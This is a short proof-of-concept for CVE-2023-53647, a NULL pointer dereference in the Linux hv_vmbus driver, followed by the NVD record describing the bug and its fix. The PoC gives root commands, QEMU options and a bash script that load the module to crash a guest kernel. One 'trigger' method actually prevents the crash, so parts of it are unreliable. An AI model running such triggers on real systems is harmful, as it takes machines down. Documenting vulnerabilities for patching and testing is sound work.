CVE-2023-53647

# CVE-2023-53647 PoC - Trigger NULL pointer dereference in hv_vmbus driver # This vulnerability is triggered automatically when loading the hv_vmbus module # on a VMBus host implementation that doesn't provide Hyper-V MMIO ranges (e.g., QEMU) # Method 1: Trigger via modprobe (requires root) # On a QEMU/KVM guest with Hyper-V PV interface enabled: modprobe hv_vmbus # Method 2: Trigger via kernel boot parameter # Add to kernel command line: # modprobe.blacklist=hv_vmbus (to prevent crash during boot) # Method 3: QEMU command line to reproduce # qemu-system-x86_64 \ # -enable-kvm \ # -cpu host \ # -machine type=pc-q35 \ # -device hv-vmbus \ # (without providing MMIO ranges in VMBus ACPI device) # Example kernel oops stack trace observed: # [ 3.710827] ? __die+0x1f/0x60 # [ 3.715030] ? page_fault_oops+0x159/0x460 # [ 3.716008] ? exc_page_fault+0x73/0x170 # [ 3.716959] ? asm_exc_page_fault+0x22/0x30 # [ 3.717957] ? acpi_ns_lookup+0x7a/0x4b0 # [ 3.718898] ? acpi_ns_internalize_name+0x79/0xc0 # [ 3.720018] acpi_ns_get_node_unlocked+0xb5/0xe0 # [ 3.729476] ? vmbus_platform_driver_probe+0x1d0/0x1d0 [hv_vmbus] # [ 3.733398] vmbus_platform_driver_probe+0x9f/0x1d0 [hv_vmbus] # [ 3.745207] hv_acpi_init+0x3c/0x1000 [hv_vmbus] # Trigger script (requires root privileges): #!/bin/bash # Trigger CVE-2023-53647 if [ "$(id -u)" -ne 0 ]; then echo "This script requires root privileges" exit 1 fi # Check if running in a VM with Hyper-V enlightenments if grep -q hyperv /proc/cpuinfo; then echo "Hyper-V enlightenments detected" # Load the vulnerable module modprobe hv_vmbus echo "Module loaded - check dmesg for oops" else echo "Not running in a Hyper-V enlightened environment" exit 1 fi

{"cve": {"id": "CVE-2023-53647", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:48.130", "lastModified": "2026-02-03T22:29:16.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nDrivers: hv: vmbus: Don't dereference ACPI root object handle\n\nSince the commit referenced in the Fixes: tag below the VMBus client driver\nis walking the ACPI namespace up from the VMBus ACPI device to the ACPI\nnamespace root object trying to find Hyper-V MMIO ranges.\n\nHowever, if it is not able to find them it ends trying to walk resources of\nthe ACPI namespace root object itself.\nThis object has all-ones handle, which causes a NULL pointer dereference\nin the ACPI code (from dereferencing this pointer with an offset).\n\nThis in turn causes an oops on boot with VMBus host implementations that do\nnot provide Hyper-V MMIO ranges in their VMBus ACPI device or its\nancestors.\nThe QEMU VMBus implementation is an example of such implementation.\n\nI guess providing these ranges is optional, since all tested Windows\nversions seem to be able to use VMBus devices without them.\n\nFix this by explicitly terminating the lookup at the ACPI namespace root\nobject.\n\nNote that Linux guests under KVM/QEMU do not use the Hyper-V PV interface\nby default - they only do so if the KVM PV interface is missing or\ndisabled.\n\nExample stack trace of such oops:\n[ 3.710827] ? __die+0x1f/0x60\n[ 3.715030] ? page_fault_oops+0x159/0x460\n[ 3.716008] ? exc_page_fault+0x73/0x170\n[ 3.716959] ? asm_exc_page_fault+0x22/0x30\n[ 3.717957] ? acpi_ns_lookup+0x7a/0x4b0\n[ 3.718898] ? acpi_ns_internalize_name+0x79/0xc0\n[ 3.720018] acpi_ns_get_node_unlocked+0xb5/0xe0\n[ 3.721120] ? acpi_ns_check_object_type+0xfe/0x200\n[ 3.722285] ? acpi_rs_convert_aml_to_resource+0x37/0x6e0\n[ 3.723559] ? down_timeout+0x3a/0x60\n[ 3.724455] ? acpi_ns_get_node+0x3a/0x60\n[ 3.725412] acpi_ns_get_node+0x3a/0x60\n[ 3.726335] acpi_ns_evaluate+0x1c3/0x2c0\n[ 3.727295] acpi_ut_evaluate_object+0x64/0x1b0\n[ 3.728400] acpi_rs_get_method_data+0x2b/0x70\n[ 3.729476] ? vmbus_platform_driver_probe+0x1d0/0x1d0 [hv_vmbus]\n[ 3.730940] ? vmbus_platform_driver_probe+0x1d0/0x1d0 [hv_vmbus]\n[ 3.732411] acpi_walk_resources+0x78/0xd0\n[ 3.733398] vmbus_platform_driver_probe+0x9f/0x1d0 [hv_vmbus]\n[ 3.734802] platform_probe+0x3d/0x90\n[ 3.735684] really_probe+0x19b/0x400\n[ 3.736570] ? __device_attach_driver+0x100/0x100\n[ 3.737697] __driver_probe_device+0x78/0x160\n[ 3.738746] driver_probe_device+0x1f/0x90\n[ 3.739743] __driver_attach+0xc2/0x1b0\n[ 3.740671] bus_for_each_dev+0x70/0xc0\n[ 3.741601] bus_add_driver+0x10e/0x210\n[ 3.742527] driver_register+0x55/0xf0\n[ 3.744412] ? 0xffffffffc039a000\n[ 3.745207] hv_acpi_init+0x3c/0x1000 [hv_vmbus]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3", "versionEndExcluding": "6.1.53", "matchCriteriaId": "AFF4E662-3E2A-443A-B80B-0723AB75456B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.16", "matchCriteriaId": "C3039EA3-F6CA-43EF-9F17-81A7EC6841EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.5", "versionEndExcluding": "6.5.3", "matchCriteriaId": "880C803A-BEAE-4DA0-8A59-AC023F7B4EE3"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/64f09d45e94547fbf219f36d1d02ac42742c028c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/78e04bbff849b51b56f5925b1945db2c6e128b61", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/96db43aced395844a7abc9a0a5cc702513e3534a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9fc162c59edc841032a3553eb2334320abab0784", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}